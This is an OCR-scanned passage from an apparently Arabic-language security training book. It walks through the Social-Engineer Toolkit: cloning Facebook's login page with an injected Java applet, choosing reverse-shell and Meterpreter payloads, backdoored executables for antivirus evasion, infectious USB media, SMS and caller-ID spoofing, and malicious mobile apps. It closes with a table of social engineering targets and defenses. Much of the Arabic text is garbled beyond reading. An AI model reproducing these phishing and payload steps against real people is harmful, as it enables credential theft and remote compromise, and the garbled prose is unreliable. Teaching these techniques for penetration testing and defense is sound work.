e the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit 
the link replacement settings in the set_config if its too slow/fast. 

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasplo 
it Browser, Credential Harvester/Tabnabbing, and the Man Left in the Middle attack all at once to see which is successful. 



MO HDD30DES 



1) Java Applet Attack Method 

2) Metasploit Browser Exploit Method 

3) Credential Harvester Attack Method 

4) Tabnabbing Attack Method 

5) Web Jacking Attack Method 

6) Multi-Attack Web Method 

7) Create or import a CodeSigning Certificate 
99) Return to Main Menu 

et : webattack >| 
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Java Applet Attack .1 
Java Applet Attack <o»tuiVl g-i Java Applet Attack j*j <1 <»j**JI > tj^> ^ j3£i u' 

t> 'ABC 1**j3jj ^ Jj^ cs^j (Java security warning) ^ u^' fc* ^^ki^ll ^ 

,iajaj j (J^. <Jj^ jiill J-^*-* ^5^' j ^ 6 ^ QAirt ajjojLojVI ^» j^^ll ci jA Java Applet 

c> > .4 j^ » ^ t Jljikl ^ lJj^ ^illj jLia Java <*j^ Java Applet attack 

jjj^j J^l config/set_config <-fii*JI J^^? ^ ^ cJSIj u ^j * ^ ^jjj ci£ lij J£ j^il ^ 

U^L^ ^1 ^al^JI <> UL^ sj^aua ^ ^1 lJIjS ^j^j J^j^j 11a f j^J! J3U ^ .self-signed information 
.Site Cloner £ <2 jl^J! 1 jt^JI jH^ f j**Jt ^ *bV .4? o- 3 ^ ^ J ^ Jxilb 



1) Java Applet Attack Method 

2) Metasploit Browser Exploit Method 

3) Credential Harvester Attack Method 

4) Tabnabbing Attack Method 

5) Web Jacking Attack Method 

6) Multi-Attack Web Method 

7) Create or import a CodeSigning Certificate 
99) Return to Main Menu 

set : webattack >l 

The first method will allow SET to import a list of pre-defined web 
applications that it can utilize within the attack. 

The second method will completely clone a website of your choosing 
and allow you to utilize the attack vectors within the completely 
same web application you were attempting to clone. 



The third method allows you to import your own website, note that you 
should only have an index.html when using the import website 
functionality. 

1) Web Templates 

2) Site Cloner 

3) Custom Import 

99) Return to Webattack Menu 



5t :webattack>2 



A ^ > kilLuji ^jfi ^ill lirl J^" (J-^j '^'^ 1 ; ^ <S1ujVI (_>^su ciM > L_fl jjoj ^illj 



[-] NAT/Port Forwarding can be used in the cases where your SET machine is 

[-] not externally exposed and may be a different IP address than your reverse listener. 

set > Are you using NAT/Port Forwarding [yes|no]: no 

[-] Enter the IP address of your interface IP or if your using an external IP, what 

[-] will be used for the connection back and to house the web server (your interface address) 

set : webattack > IP address or hostname for the reverse connection : 192 . 168 . 16 . 1 

[-] SET supports both HTTP and HTTPS 

[-] Example: http://www.thisisafakesite.com 

set : webattack > Enter the url to clone :www. facebook .com 



*] Cloning the website: https://login.facebook.com/login.php 

*] This could take a little bit . . . 

*] Injecting Java Applet attack into the newly cloned web^T^ 

*] Filename obfuscation complete. Payload name is: usEp7Mb3k 

*] Malicious java applet website prepped for deployment 



.Facebook ^j^l l^j^I 1^ 

.Meterpreter cr^ 5 J^h Metasploit reverse shell j^^j ^tsil I^a c^ajj ^1 U^jljjmi 
a ^iaji JjS ^jSjll t . iiaj ^^Ac. lillicbuo^] I^a .Ailia o jAuij ^ tiL ^j^aliJI Payload ^ ^jjj SET 



4 https://www.facebook.com/tibea2004 
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What payload do you want to generate: 



Windows Shell Reverse_TCP 
Windows Reverse_TCP Interpreter 
Windows Reverse_TCP VNC DLL 
Windows Bind Shell 
Windows Bind Shell X64 
Windows Shell Reverse_TCP X64 
Windows Mete rp ret er Reverse_TCP X64 
Windows Mete rp ret er All Ports 
Windows Mete rp ret er Reverse HTTPS 
Windows Mete rp ret er Reverse DNS 
SE Toolkit Interactive Shell 
SE Toolkit HTTP Reverse Shell 
RATTE HTTP Tunneling Payload 
ShellCodeExec Alphanum Shellcode 
Pylnjector Shellcode Injection 
MultiPylnj ector Shellcode Injection 
Import your own executable 



Desc ription : 

Spawn a comman 
Spawn a meterp 
Spawn a VNC se 
Execute payloa 
Windows x64 Co 
Windows X64 Co 
Connect back t 
Spawn a meterp 
Tunnel communi 
Use a hostname 
Custom interac 
Purely native 
Security bypas 
This will drop 
This will drop 
This will drop 
Specify a path 



d shell on victim and send back to attacker 
reter shell on victim and send back to attacker 
rver on victim and send back to attacker 
d and create an accepting port on remote system 
mmand Shell, Bind TCP Inline 
mmand Shell, Reverse TCP Inline 
o the attacker (Windows x64) , Meterpreter 
reter shell and find a port home (every port) 
cation over HTTP using SSL and use Meterpreter 

instead of an IP address and spawn Meterpreter 
tive reverse toolkit designed for SET 
HTTP shell with AES encryption support 
s payload that will tunnel all comms over HTTP 
a meterpreter payload through shellcodeexec 
a meterpreter payload through Pylnjector 
multiple Metasploit payloads via memory 
for your own executable 



.(Backdoored Executable) 4 <JU3I &\ jL^Jl <^ c> ^ 2 ^j^j ^M-^ ^AxAj ^ ^ J*^ ^jjo> ti* Ulli* ^k 



: >2 




Select one of the below, 'backdoored executable 1 
most still get picked up by AV. You may need to 
in order to get around basic AV detection. 


is typically the best. However, 
do additional packing/c rypting 


1) shikata_ga_nai 

2) No Encoding 

3) Multi-Encoder 

4) Backdoored Executable 




set :encodina>4 





SET * 

meterpreter gr^ 1 ^ f j**^ CxMj https://www.facebook.com ^U^l jjjlii^ UjaI L^l .til ^j^il ^ ^ 

cjVL aj| 4_aJlx>J Metasploit ^l^c-jj ^^jj^lt *^ J-*^ Ijiull Jjlill backdoored ^Akiuil a£3 .443 

set config ^-^-Vl ^k <J>»U_xJI J^*-^ ^ <^ ^ j^i^ ^ 3-1^ j ~\ iklujl cj^jI lij >^r. 

.WEBATTACK_EMAIL = ON J) WEBATTACK_EMAIL = OFF 6- 
j-ic. C5 i^aVl jjjaLiill ^5 4^ jiill 6^lcl ^-i^jjall j t meterpreter ^ ^ ^ 4 J^*-^ (jj* > ^1 LJL^ 

l5^. publisher lS^> <j^LaJI ^j;^ cjLuIxjII lLu ^ j£i liLaJI ^ji aS 4il L»Laj 

.<£jjuJ| ^juAj <j^aLaJI jlll! S^I^juj ^Ijjujj ;<£jjuJI (Jja i ^-Ijaj jjoj jj^J (J^ L>* .Self-Sigllillg UJ^ <J J£ ? 

. URL ^-fl^-Sl a^jU ^LJtl* jl ^ jj&l) ^jj <SLojj Ut ^Uu^VI ^jj^-aII tSl jjld j^Vl j^' 

Metasploit Browser Exploit Method .2 
^ ^LaiH^I ij3!\ Metasploit client-side exploits Metasploit Browser Exploit 

Credential Harvester Attack Method .3 

^ u^j Jj^JI ^ V ^ l^al^iojl ^jj credential harvester attack 

Tabnabbing Attack Method .4 

c_jjjii3| CjU^ AjauJal l Jajj Uajc ."(Please wait while the page loads) <^i^al l jlkuVI ^La. jll" 4_Luj j ^uauJall 

AxJ ,6^AaJ C^^il 4-^^^ ^ J -0 C5^1 ^r^J^ aN °'^ '^ s SJ *^ J -0 Aiiii^ L_JJjfi3l *Ld!^C ^j) t ftjuJJ^J ^ J-^^ (jli t^al^Jl ^AxJ ^jl£ <jV 
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£3 jaJI Jj <_£jaj aj* ^^JjoixJI 4_ia» jj a^lcj j Ia>jL ^alil 4(_£ja.l Sjx» ^UucVI ^J*^ (*J^ ^ L>^J .^JjW^ JUgc-VI t"^'oj;^ 

.J-Vl 

Web Jacking Attack Method .5 

jIAj^VI J & I^A .4_Slj ^aJ ^ £3 j-all (jL .liflJ iaUjjl £x» - *all ^aJ^J 4-^J ^ j^a 4_kjujj ^LudjU ^a j£j L_fl jjuj L_J jJjujVI J 

L— Lo3 lij tjtlall (Jjijuj Jc lil .^aJ g all <UI Clb lu] 4 Jaill URL URL cl)^ (J^ 3 ^> ir 4 t -" t-LLjjVI (Jj3 jUl .0.7.1 

gmail ^ -^-^j^l f ^auiujj&ll ^j^j LaAjcj .^°/ q ^ uj-^ url 6 gmail.com ^ 

.config/set_config c> webjacking ^ ^1^ *j . ^u. 1 ^ s-^j^ ^ <!1^1ujI 

Multi- Attack Web Vector .6 

tjjjllijaJl CjI^ j (jiasu J .^1 j ^a ja>£j ^ball ^IXJ S^Axld L_JJj ^a jaA L_lilLuj| ^j^al till ^GjujJ ( — S jjuj 

Multi-Attack Web Vector .I^Saj credential harvester ^ J Java Applet ^ ^ ^ 

JjjS ^a^JjalxJl jib LdAlc SAla^a J I— 1*1 j jll CjUl^JI (jJJ £AaJlj tAiii^xJl dl^Ull L_flLLIj (JjJUujjJ 

.fiAjJaJ jll ^a J>(^l C-il^ j-a <j£ 4.1a. jJ aJJ > 0 

SET -5 cS>Sfl cj|>u»2t oisu +. 

( . ijI a (_^j^.l cj! ^ J^ilxjll Jc Sj^lS SET tJliuJI J^f^ tDj^V! j^jujVI J .^jojjjjj jlj-djjojU ^jI jjj SET 

; JVI Ljajl .Spear phishingj ^ jJI ^L^l 

Infectious media generator (1 

^a jSj ^a ^ CJ^U a laJLudJ L_fl jjuj tUiLdJ t fllla A ^ J^A L_J jloilj ^a j^ g II ClA^ jx» J?^^ S" 1 jl^VI 

JU^U t*U liA <a j^JI JaU .din^ ji^ USB j' 6 CD 'DVD ^^1^ ^1 USB/DVD/CD 

ud^ J^ g^l DVD/CD/USB ^l^V Metasploit J s^jJI ^ ^ j J\ A* s J 1 ^ 51 ¥^ ^' j^Vl 
tdj^Vl J . lifliil] <LU3I jSVl iiais j " JUSjII Jjt nnll" ^I^iLojI -oli Jl^aJI liA ^Ij^j ^ij .autorun.inf 

JllxJI J^f^ cs - ^*) ^^ill c3^>^J jj^?^ ^?^JH ^ L-fllxJI J^iuili CjI jxj Aj^j <Lj ;L_aLJI ^j.>.>ijj jjU» ^j-d S^liluiVI Ail 
(jiajs«_xi (jj^J L_ fl jjuj ^ji^jJall jlg-^- (jl ^ ; UjujJ j AlifkJl ja^JI c^llj > o jj jJJ^ti jl^. J 1^.1 j^j ^aJJ Ld^jx. ^^j^l diljij 

Teensy USB HID Attack Vector (Arduino-Based Attack Vector) (2 

^■Ij^U ciUUa He o^lc .^jjILJI 3^. jl sI£Ia^j j jj^II jjW^ j 3 > Sj^VI (j* 2^3^ Teensy USB HID ^ j^6-^l ^ 
iiii V JWUj ciL ^UJ! autorun.inf ^ & V -oli i^lSWI J^J! ^ lit -uli USB j! DVD/CD 

^■IjjU tiUUa Ho -c jjjjUIj ^tiilLJI 4^ j] sl£La^ cili£ ^ Jl^aJI Jo ^jlill Teensy HID ^ _l^slSl3 tiL <j^aUJI ^i^jJI CjUulxllI 
Ajujjuj <c j^-> ^ JIwjj] cilj^oj ^jjj^lall 6j£li j ^JU-a3I ^ j t USBjl DVD/CD j ^ ^^>»^l jW^^ 
ls* j*^ j j 17 J' j^h Teensy device ^lj^ .UUj Jl^aJI (jlj^-l j ^U-^l CjlkiuJa ^ 1^ 
PS3 5a^ija Jl fj^\k ^Teensy device c> u^j^'j l^j^ ^ . http://www.pri c .com 

.11a j ^USi backordered ^ j Teensy device s j^i ^I^jujU 

6 j^VI jl t^jjjjUJI j £ciilLJl cIjL^j] Jla ^IlujI J l g n<u>n ^jj jl (j^j JJI 4^jf* ^jj xj^ a jjI j^ CjL^ j3 Teensy devices 

, jj jUa£3I Sj^U a1 jj^ ja ^jJ^aJ jll c5^>^^^ JJ^V^ 

ialLd ^Lujj] jl C5 uuj£c Jjuj ^Uacl (JiLd j-«ljl ^> jj ^alj U»Hc <j ^Ij^I ^ ; Lft teensy devices j;^ *^ ^ j^UI <^>^ji3l ^cjjj SET 

_4juUjj ^LdjjujVI 

SMS Spoofing Attack Vector (3 

J (jjaUll .SET C> ^J^Vl jIAj^s^U SliJ^ J^^J^I f A^\a\ AjI^JI la^ S^a. jll oiA tl^a. blila ^iaJj Ua 

JjLuj j JLuj jIj ^UJI L_flj*lgJI j till ^lxujjj ft^jll 6iA .SMS Spoofing lP 3 j*^ 'j*^ TB-Security.com 

.11a Jc <^^U3l CjLaa^Jl ^ ^jj^ll ."^UucVI ^L^aa." a I iklujl J <JC.\ <LLa>VI 4uujH^JI CjUl^A J I lli o JJ%juj I2\Aj .SjJj^aS 
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Wireless Attack Vector (4 

^jc ajII^U! <#*\J\ 4itk> <> Jj^j £ jij lJj^ wireless attack vector f j^* JSU ^ c^j 1 ^ SET 
^ja^JI 11a d^UIojVI .SET ^i^l<J! cjLIIa jl Dnsspoof ^jj <^4? o- 3 ^ 

jjSj Utic j Multi- Attack Vector J Java Applet ? t> *^Ui^VI ^5 <>j J j*-a jll *LijL JliJI lW^ 

QRCode Attack Vector (5 

4^1l<Jl SET c,5^ f J^i^ J -0 L>* LS^\ M a * ^ J"* ^^-j f J^S"^ ^ CP" ^ .SET 

Create a Payload and Listener (6 

EXE <J o&J J <^L«Vtfl i J lij -t *llil l_lJ_l<JI Listener j payload ^1 <^ SET 

djVl £JJ^J jL^ajl JaxJjoj I^A .43 j3 jlil ^aJ JJ jn^ll Jc Payload ^ aLq Jaliuijj USB ^J^a J 4-^-9 '^*J <jc 

Fast-Track Penetration Testing *k 
Exploit ^ j*3 Fast-Track ^ j^a CjI^^ J^-^ ^ j^j cj! jiui iia bL^al ojl&l ^5 Fast-Track 



root® JAN A: 




FiLe Edit View Search TerminaL HeLp 



[ — ] Homepage : https://www.trustedsec.com [ — ] 

Welcome to the Social -Engineer Toolkit (SET). 
The one stop shop for all of your SE needs. 

Join us on irc.freenode.net in channel fsetoolkit 

The Social-Engineer Toolkit is a product of TrustedSec. 

Visit: https: //www. trustedsec. com 

Select from the menu: 



1) Social -Engineering Attacks 



3) 
4) 
5) 
6) 
7) 



Third Party Modules 

Update the Metasploit Framework 

Update the Social -Engineer Toolkit 

Update SET configuration 

Help, Credits, and About 



99) Exit the Social -Engineer Toolkit 
set> | 



ii 

SET Interactive Shell and RATTE <4 

j a. ^^a j aRLj* payloads <RATTE j interactive shell j* "SET ^ " J\ cjlaL^V! cj^I ^> ^1 j 
Java Applet j Create a Payload and Listener c> Sjaji* Payloads ^ .SET ^ 



977 



Select from the menu: 



1) Social -Enginee ring Attacks 

2) Fast -Track Penetration Testing 



4) Update the Metasploit Framework 

5) Update the Social -Enginee r Toolkit 

6) Update SET configuration 

7) Help, Credits, and About 

99) Exit the Social -Enginee r Toolkit 



[-] Social -Engineer Toolkit Third Party Modules menu. 

[-] Please read the readme/modules . txt for information on how to create your own modules. 

1. RATTE (Remote Administration Tool Tommy Edition) Create Payload only. Read the readme/RATTE -Readme .txt first 

2. RATTE Java Applet Attack (Remote Administration Tool Tommy Edition) - Read the readme/RATTE_README . txt first 

99. Return to the previous menu 
I 



SET Web-Interface i- 

<aL-bU ^ Utili \^ <j\ ^jxj liA .Web-Interface sbl > SET <> 

.seaut ornate ^ c aUaxll ^ IgjuJa j ^jj djUL^J lJsL* ^.L^L ^jIjj o^j^il £ax& L* ikU ^jjj ^-^1 j .^I^IujVI Jjg > »iM ^-ijj 

:Jlia gi ^Vl ^l^kloiU /usr/share/set ^ SET J j^ 1 t> <-yjll ^1 j J^-^ 

#cd /usr/share/set 



root@JANA :/usr/share# cd set 
root@JANA :/usr/share/set# Is 

~ config modules readme README.txt seautomate seproxy se 


toolkit setup. py seupdate src 


■/]/]/]/]/] jj<i .^ij^Nfl j J A . * t ij,, ^\\t ~$j t -*tu i i\U^ j *;NfK / sewe (j j^Nfl a4*;< 



■] Starting the SET Command Center on port: 44444 

.## ##.## ##. . . 

.## ## ##. . . 

. . ###### . . ###### ## . . . 

##.## ##. . . 

.## ##.## ##. . . 

. . ###### . . ######## ## . . . 



The Social -Engineer Toolkit 
Web-Interface GUI 
Command Center 



All results from the web interface will be displayed 
in this terminal. 



[Interface is bound to http ://127 .0 .0 . 1 on port 44444 (open browser to ip/port) 











The Social Engineer Toolkit We 


+ 127.0.0.1 44444 




~ CF| |H~ Google 


ol -Li- 


^ Most Visited^ |j| Offensive Security 


V* Kali Linux 


*VKaliDocs QExploit DB ^Aircrack nq 





1 SocialEnqineer 
Toolkit 



The Socuil Fnqineer Toolkit (RFT) r. specifically designed to perform .idv.iru ed .itl.it ks .icpnnst I hi- hum. in element. 
OCT has quickly become a standard tool in a penetration testers arsenal. Use OCT for Good, not Cvil :-( OCT was 
written by David Kennedy (KeLIK) and with a lot of help from the community it has incorporated attacks never 

before • r ! iii .in exploit ;it ion toolset. The- ;itl.icks limit into the toolkit ;ire designed to hi- Uirqeted ;ind focused 

attacks against a person or organization used during a penetration test. 

Welcome to the Soc iiil Fnqineer Toolkit («5FT) Web Interface. This is .1 work 111 progress .inc) first n-li-.i-.i- of the toolkit, 
please report any bugs to davektn>secmaniac.com. There are already a tew improvements that will be made after 
the release (in the short term). 1 would like to add the ability to eliminate certain choices based off your selection. 
For example if you wi-n- to selec t J;iv;i Applet ;itt;ick vec tor, it would remove the option-, for the mulh iitt ;ic k . Acpim, 
this is the second release and a work in progress at that, rt you find any bugs let me know! 

Select the attack vector you want: 

Social-Cngineering Attacks 




https://www.facebook.com/tibea2004 
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Ujb ^ jji* SET &bl jja* .a£jj^3I J Six. ^ jj Jll t ^>^1 Jataj jUlkl J ^Uu^VI all 6^c-L*uJ obi ^jfc SET 

Jj^I j 6^ uj jj^VI SET L — ^ j^' pj^jJ j-^l aI^I j-<J SbVl *lj^l J S^cLolaII j diL^JjjaVI c _ s _ailS 

.^UVtf I o>^^ll cjIjjV CjIIu^j J*j ^> /http s : //www . trus tedsec . com c> 



TELEPHONE-BASED SOCIAL ENGINEERING 
'VOIP Jj^jj jjj jt^ ia! jxa^ll l^jI j^SI tfUVl £>i* J .cJjl^i! ^Ul^VI ^jj^-aII l_Aj£ J cjI jjVl ^ c> J 

. JJj£ ^ Jj C fljlfrll ^ S^UlaiVb ^cLai^VI (Jjj V^ <c\\\ ^Lii AjflJ^l CllljLliJl C_Laj 6£Jj^all aJ^xJI ( fljlfrll ^| ja. j 
J l^&La (jj^J (Jl ^^cLai^VI (Jjj 1^ all ^liajj tCllU^/lcVl tCjlx-iixJl H fljlgJi ^jjjaLill L_ lb<i]l^a £x» 4_juAA*_La '"^ l> ^jjjUII <jV 

jblkVI Jj O' O^"^ ^UcLdl^VI ^jojI^JI Sbl£ < c?\\A\ ^.iaJLuil O jjUl jll Jc .^jAiill 4jUr. J t fljlg-ll f\ ^lui\ 

• l>0^ L>^ * JJ 1 ^ *&J-^ J ^Jjuall J^ll 

jl 4 jjlxJl ;<SaL^Jl (JILg Jc <Liasl!Ij 4_L^kjudJl dAj ^ a all cJ-^J (JjjUJI ^ajL L— Ll^.j ^£ jj^ jj t fljlgJl <J,j] ^ uj <j£ L— Ll^ Jj^axll b& J 
^gjoiJ a! j-a^xJI ^ qll j& Jc L_fl^Jl e-tcjJjajl jl ("l^nll .S^)Jj£ ^1 J Ifr^bVlml (j^-oJ L_fljtg_ll j t^alc <jl£a ^J 

J AjUUjj L_fl^Jl Jj J jj^ jll Jc J^IS (jj^J ^gC>l <U^.V1 (JjjA^aII 6J^3l ^JflJ b^ .^-9jl Jc 4_j^1A diUi jl*-<i J iAu y"i\\\ CjULiJI j 

all CjVUJI ^JAxll 

Jll " jjjU^JI" 4 m ^ <c ^; ( . ill lall bj <c jjoij CjUj jIslaII ^LkcV I^IAxIojI ^jjjUII cJ*^ 7/24 ^ 1 ^ a 4j tljJaJl 

^jAxll (jli 6A£jjuo3I jLd ^ jC^J ^j^akjoJl Jj JJjoiJ ^5 jjK \\ c fljl^Jj Jc. Jj^lxJl (jl£ lij 6<JIL<J1 J^Jjui Jc .(Jj.^t *aJ 4_Ld cJ*-?^ 

jloj jll cjlinkill I^jJ Windows j Android j iPhone ^^11 ^Ij^-l) c> ^ J^ll V CjUjI*^ ^Ua^U ^jij ^Ull 
Spoof App ( http://www.spoofcard.com/apps/) JS* cijlinki ^ ^1 Jj tiL ^UJI J^alJI j ^JjJjI l^l^kl^l 

<J£ .4_a31£^ J^l Ufjoij <jJaikl<i (illij ^jiajVI 4_^j Jc ^1 ^ Luljj l^jl jl Ia£ j^jj ^^jII Clal ^11 ^1 J^V ^^-^ al^VI all 

^.Ijj Li^ jl jj^ill ;^jjilla a ^jJL^xi Jj I^qJj gjj (j^-aJ <JC>I al^VI A i o il^ 11 t fljlgJI a I I^JLujI .(iL ^aLkll Ajujill 4-jj| s-lij Jj L_lA jiJ b^ 

U Jc ViVi^Mlj cilli 

Publishing Malicious Apps 

CjlflJjJalll j^lia J J*^ J 64_nxjaJl Cjlkiilalll l^J ^LojojI j 4_jli^. ^js^L^ £a CjlflJjJaJ JlLd Almkll Cj^iilalll ^LauU ^ajL V j\ 

A'\)}\\\ <llai3l Cjljjjlalll j Jj j±L ^J^J J^^ 1 (JJJ^ ^ ^Jl ^fljsu L—LnaJl ^Jjflajll ^jc ^jj-alxj V (jjill ^jj^.^'u >i^ll ^AjjoijjjII 

Cjl j Ql^Vlm^l ^LojojI^ ^^JjouJI jUuci (jljjl cJ^J^ jH J 4jJ±kll CljLl^Jjll <Jj3 ^j-d ^5 J^*l^ (jj^^^ J^ 6<lllj3l ^j*j^J>.l Jc 

.jjX^l^tlll J] (jjuJ! 




Creates malidous 
mobile application 



Attacker 



Lfh*«r credent 
sends to the attacker 




Maliricus Gaming 
Application 



0 *h m< 



Attacker publishes 
malictDus mob He 
apps on app store 




41 



Uver download and install 
the malicious mobile application [ 



User 



https://www.facebook.com/tibea2004 
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Repackaging Legitimate Apps 





Developer creates a earning 
app and uploads on app store 



Mdlk iuui developer 
downloads a legitimate game 
and repackages it with mafware 



Mobile App 
Store 




Malicious 
Developer 



EJis-r lt L-dfri( uih 
>cndv to the n-.^linuu-, 



Uploads game 
to third party 




End uwrdgwnlparis 
ma lie k»ui cam mPng app 



User 



Third -Party App 
Store 



Fake Security Applications 

.A-ilaVI <JjLoi^)3I cJ^' (j-* (^ic J^nlaJ ^^-^ 4_i^jJall <J jSj ^JLojj Diali (jla^su ^Uaill ^ CjLi^^JI 

(^jI! ^1531 Aj^l > ^>^ll lW-c- cJ jll <S ^ c^nlajli Jj^^l ,<9jIa ^^^ic ^nJalli Jj^Vn ^J^J ^jV q ^ <!Lujj I^jI .Vqltj 

^jljjl <3jjoj (Jj^la (jC A-l^jJall ^jj>nfl ( -jl > jj^ jll L_b >i^j ^.l^xJl ^jli tl^Aj .SIMS CP" > ^ t^llti (J^ L>^ cJ^J^ 




4*- 



Attacker 




< • ■■■■■ 

User tredentiab sends to the attacker 



P 1 H " * 



pop-up* a m&svSgfr appears 
t^linRtri« user to 
download an application 
onto his/her phon* 



0 



User 



Atta cker uploa da rnal ic ichj s 
application on app (tore 




User down toads aptflkation 
from atiackjer's.app sure 



0 



Attacker's App Store 



4 https://www.facebook.com/tibea2004 
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Using SMS 

J jj^a^J! J^j ^ SMS f li* ^ . J^l ^jlill AjcI <u^V1 ^Loj^JI ^,^1uij j^I c_j jLj SMS 

. jjil! (1 101-709-540-1) fS jj JL^iVI ^ jl Jj£j J j XIM ^ ^ 



Attacker Us*r Cellphone Tracy calling to Fraud XIM 

( Jonny gets an SMS) 1-540-70&-1 1 D 1 [ Ba n k t u st omer Servi ce| 

Environmental Sounds 

(j* ?4 a\\ ^aWj lg_La j3l! S^lc ^^ill AllJl ^ j& La .*LaAaJ uo a\\ AjUjilU UuS AjUsU ^>lai3l ^irjn all L_fl^Jl 4 all£ a ^^^>^-j (J^ 

p^juj jll^j V liUJ U£>ui tilli ^jl^ LoK i\ Lu^ ?ti!3i ^jjj^j clA^ t ^ oJ Nt -^jI] ^i^- U^ 0 1 6 ^ 2 jat^ti cIjI jj^I .iJaj ^jU^VI 

tUj jjlflj (jLdU dilxa l^Jl iaaa tojUjoJ! J Cj JiLd ^°j' Q ^ 

.^I^jVI ^UUI j c^j l^iix^j ^ ^1 CjIj^Vi j^jj ^li djj^ . /http : //www . f reesound . org c> V 

Caller ID Spoofing 

jj^xJI Jejuni a! ja^a1\ jVl -C ^J ji<JI ^l^kloaVI j JU^Vl ^Uaa ^ j£ ^ <suUi Caller ID ^^j>^i 

3^ ^-^J L — ^ '(S^)^ S^)LixJj _L_fl^Jl (Jj^alxJl ^.uiLuill (^^-Sc laJ ^^ill CjL<» jlst^Jl ^ijij L>.»L>.»I (Jj^alLJl (jLaajl 

^jjaj LdAjc I^a (^-fljjj ^ cl^j (^-Ldl^VI (Jjjai^xJI 3^ 6 jj;^^ cJ^-^ el) -0 ABC Tech ^ i^Loaj 

yjjJl Jib - 
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L_flj jjl 1 * /si laJL ul (j^J ^^C-Lftl^VI J" ^ all 6j3 L_li3LaiV! (J^su ^latLJl ^jjjSljj ?^jll *j t a ^ l^j 

SpoofCard <4 

s^lj ^l^ki^lj ( http ://w w w . spoof card, com ) SpoofCard ^^^1 caller ID spoofing c> ht*^ j^Vl Jj^l ls^J 
Jc d^jjj ^ill ^jllj tc*L (j-aUJI C5 J^a^J! t^j^xlll ^aj JlA^jj 6 6^.1 jll 4ilkJI Jc 800 JL^ajVI j£*j <Gla tdjlalkJI 

.<J Jl^ajVI *1>JJ c^ill fSjll *J t^Uill Jc Jj^alJl AjjA 

CjI jj^JI £>i& .Jul jl uj^ U' ^ aj^L^JI Jj^ i oj Jc 6j^i3l till ja jj SpoofCard ^ s^j^JI cjI j^l o^asu 

#c ^C.Uu^.Vl (JjjA^-aII l^Jl ^-t-nj jll <*-^a jlx-all ^U^j J c lA^W j Jj^alall AjjA ^ILkl Jc oj^ll ^JaxJ 

C-lfSlj u£l (j^aLkll ^ fijl^Jl jx» & Jfr^' J] ^^^J ^ laJLujVI J^-joi SpOOfCard 6 C5"^-?>/^ ( ; ul^ll Jc 

jJJ l^jlc c^jiaij Jll iilSslI ^SpoofCard -5 jll ^imaJI 4-nLJI .*!>U*JI lJVVI 

SpoofApp *t 

j cj| jjIaJI j^h fjL (jfil j ((JjLuJI ^joill jlajl) SpoofCards ^ vv^hj SpoofApp . J> ^*ti ajj* JU^jl J o^l^l] U jUijj 

.6^.1 j jj Jl* I1a J£ ,L_fl^Jl £yz \$\)\ 1 h CjLd ^yajxl L_fl^Jl jJ SpOOfApp J 6<jJajC ^JjJ 

Asterisk 

, Jj^al<Jl ajja ^jj^l Asterisk ^I^Lai! Uiajl cilj£ ^ VOIP ^j^V^ L — 1 j ^ Ll jj jjj^ 

http://www.social-engineer.org/wiki/archives/CallerIDspoofing/CallerID-Spo^ 

lJ ^ i^IUa (JjjJ j c> ^joij li^i .^^UJ! tilLj* ^IjI t5JLa. J .SpoofCard <^ J ^ a^jUIo ^ Asterisk 
^llaj cjUJjoJI j-<ij .4_ilc j Lj i til^j dijlj t^l^cVI kijAj f\ ikiLujVi aA^juj tUL^i <j| c _^a Asterisk ^W^V^ s- 1 ^^ 

VOIP ^J^V^ Jj^J^ JJJ CliVl^ajVI ± jj* Jl <J>U. J j tjn^nl Aijx-d c_J <. VM J^ 3 ) jW C5^^ 

Voicemail i 

Jj ^LgIujVIj J J^^l ^^>^^ ^ JJ <-! ^^Ijuj AjjoaJJjll CjI^jjoJI j-d ^jAslII J JJ^il ^^>^^ llA^ 1 ^al] 

1^. *L<»Ia JjLaixi jc ^» ♦ 6 o^^ .' < ^ ^1 (JjLojjII 

Unmasking Caller ID i- 

A±U1a Jacl J*i3l J ^^>^ll Jc JjJJ«-!l J tit^cLouJ (Jjiall 6 J^^-^^ J> s>\a\\ j-d J^-Vi t ; uLaJl Jc 

■J^^ 1 J 



Common Social Engineering Targets and Defense Strategies 

J Jjji^J! dM^^ ^^^^ J^ 4£jjuj ^L^jaV I^I^jjojI (j^j JJl 4jjjoJI djUi ja jj* AjcUu^VI <jojA^JI Jj^. 

.JUl I j^li Jc- (jijaljjj Ia^UucI (j^-GJ Jll 
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Social Engineering Targets 
Front office and help desk * ^Ff ' 

Perimeter security 



Phone Eheip desk) 



Mail room 



Machine room/ 
Phone doset 



Atta c k Tec hniqu es 



Eavesdropping, shoulder surfings 

tm personation, persuasion, and intimidation 



Impersonation, fake IDs r piggy backing, etc. 



Shoulder surfing, eavesdropping, 
Ingratiation, etc 



Impersonation, Intimidation, and persuasion 
on help desk calls 



Theft, damage or forging of mails 



Attempting to gain access, remove 
equipment, and/or attach a protocol 
analyzer to grab the confidential data 



Defense Strategies 



Train employees/help desk to never reveal 
passwords or other Information by phone 

implement strict badge, token or biometnic 
authentication, employee training, and security 
guards 

Employee training, best practices and checklists For 
using passwords 
Escort all guests 

Employee training, enforce policies lor the help 
desk 



Lock and monitor mall room, employee training 



Keep phone closets, server rooms, etc locked at all 
times and keep updated inventory on equipment 



(IMPERSONATION ON SOCIAL NETWORKING SITES) ^eUi^VI ^Ji/JU^I 9.4 



(joUJ^)!! L_ulj <Jlxa 4iU ^UaJJ (jl a^I g a!] .^JaluJl <Jij (j-G j^Luj^U (jjjUll (Jj^ j& <~A ^^Nfl ,j t , ^ ^ ^C-Laij ^>^-VI 

^l^klujU CjLg jIscaII ^-1 j-n nnl j e-tLl^aVI (j-a dll^jJj e-L^jV Cj^ uilll I j^.V^unj (Jj.aa1$.a]1 nit Jj<nl frill 

4 m, Vigil CjLajSj 







Organization Details 






Professional Details 




L Contacts and Connect! a 


ns J 




Personal Details 





rvl^l icious users, gather 
confidential information from 
social networking sites and create 
a ceo Lints in others' names 



Attackers use others' profiles to 
create large networks of friends 
and extract information using 
social engineering techniques 



Impersonation means imitating 
or copying the behavior or 
actions of others 



Attackers can also use collected 
information to carry out other 
forms of social engineering 
attacks 



4 https://www.facebook.com/tibea2004 



983 



Social Engineering on Facebook 

http://www.facebook.com : j^iJI 

^iLlulJ .^ailxil S-L^il £JA^ (jg& (jJ^i.VI J-*^ U ^ ui <j£3 (j£-GJj (JjjUII (jA ^ijfi L— AjcLal^Vl CjI^JjoJI £3 j& til jJjauill 

